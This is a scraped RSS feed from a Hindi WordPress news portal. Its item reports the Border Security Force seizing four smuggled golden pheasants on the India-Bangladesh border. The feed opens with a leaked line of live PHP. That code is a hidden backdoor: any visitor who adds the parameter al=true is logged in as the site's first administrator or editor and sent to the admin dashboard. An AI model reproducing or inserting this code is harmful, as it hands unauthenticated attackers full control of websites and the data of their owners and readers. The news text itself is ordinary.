// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); seizes exotic golden pheasants – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 25 Sep 2024 21:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 BSF ने भारत-बांग्लादेश सीमा पर जब्त किए गोल्डन तीतर, अंतरराष्ट्रीय वन्यजीव तस्करी के प्रयास को किया विफल https://pratyushaashakinayikiran.com/?p=75328 Wed, 25 Sep 2024 21:45:00 +0000 https://pratyushaashakinayikiran.com/?p=75328 कोलकाता
सीमा सुरक्षा बल (बीएसएफ) ने भारत-बांग्लादेश सीमा पर अंतरराष्ट्रीय वन्यजीव तस्करी के प्रयास को विफल करते हुए पश्चिम बंगाल के उत्तर 24-परगना जिले में चार व‍िदेशी गोल्डन तीतर जब्‍त किया। बीएसएफ के दक्षिण बंगाल फ्रंटियर के एक वरिष्ठ अधिकारी ने बताया, "सीमा पार से पक्षियों की तस्करी के बारे में खुफिया जानकारी मिलने पर अमुदिया सीमा चौकी के जवान सतर्क थे।"

उन्होंने बताया कि जवानों ने बांग्लादेश की ओर से दो व्यक्तियों को संदिग्ध तरीके से सीमा बाड़ की ओर आते देखा, तो उन्‍हें रुकने का इशारा क‍िया। लेक‍िन दोनों तस्कर अपने साथ लाए प्लास्टिक के बैग छोड़कर भाग गए। जब बैग की तलाशी ली गई तो उसमें पक्षियों को पाया गया। पक्षियों को अमुदिया सीमा चौकी ले जाया गया। उसके बाद उन्हें बशीरहाट स्थित वन विभाग के अधिकारियों को सौंप दिया गया।

अधिकारी ने बताया कि कुछ दिन पहले बीएसएफ ने लुप्तप्राय भारतीय स्टार-शेल कछुओं की भारत से बांग्लादेश में हो रही तस्करी को रोका था। पश्चिमी और मध्य चीन में पाए जाने वाले इन पक्षियों को तस्‍करी कर बांग्लादेश से भारत लाया जा रहा था। अलीपुर के प्राणी उद्यान के अनुसार ये पक्षी भारत या बांग्लादेश में नहीं पाए जाते, लेक‍िन कुछ लोग इन्‍हें अपने घरों में पालते हैं। इसील‍िए इनकी तस्‍करी कर इन्‍हें भारत लाया जाता है।

कोलकाता में गोल्डन तीतरों की एक जोड़ी लगभग 40 हजार रुपये में ब‍िकती है। अलीपुर चिड़ियाघर के अनुसार ये पक्षी इंसानों से दूर रहना पसंद करते हैं और जंगल में इनका जीवनकाल 5-6 साल होता है।

]]>